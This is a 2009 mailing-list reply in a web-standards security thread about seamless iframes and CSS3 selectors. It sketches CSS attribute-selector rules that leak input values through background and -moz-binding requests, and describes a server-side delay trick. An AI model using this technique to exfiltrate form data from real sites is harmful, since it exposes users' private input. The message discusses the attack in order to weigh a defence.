Re: Seamless iframes + CSS3 selectors = bad idea

2009/12/8 Adam Barth <w3c@adambarth.com>

> I doubt that limiting the external requests is a viable approach.  I'm
> not aware of any success stories about preventing exfiltration in the
> web platform.  The platform just has way too many ways to send data.
>

Actually it's a good idea but I wasn't clear. The current browsers do this
now (apart from safari) you see you can't have a background image on the
same element multiple times. If I wanted to conduct this attack in Firefox
for example I'd have to create different rules for each request I make
otherwise the rule gets overwritten by the next. I like to talk with code
this will explain better:-

input[value*="x"]#element {
 background:url(one request);
}

input[value*="y"]#element {
  -moz-binding:url(second request);
}

The rules overwrite each other if you use the same css property. I get round
this in Safari by using a sleep timer on the server side request, so it
waits for the fake images to load thus allowing the same element to have the
same rules multiple times. If you limit the amount of requests you can make
per element than you limit the amount of data you can gather.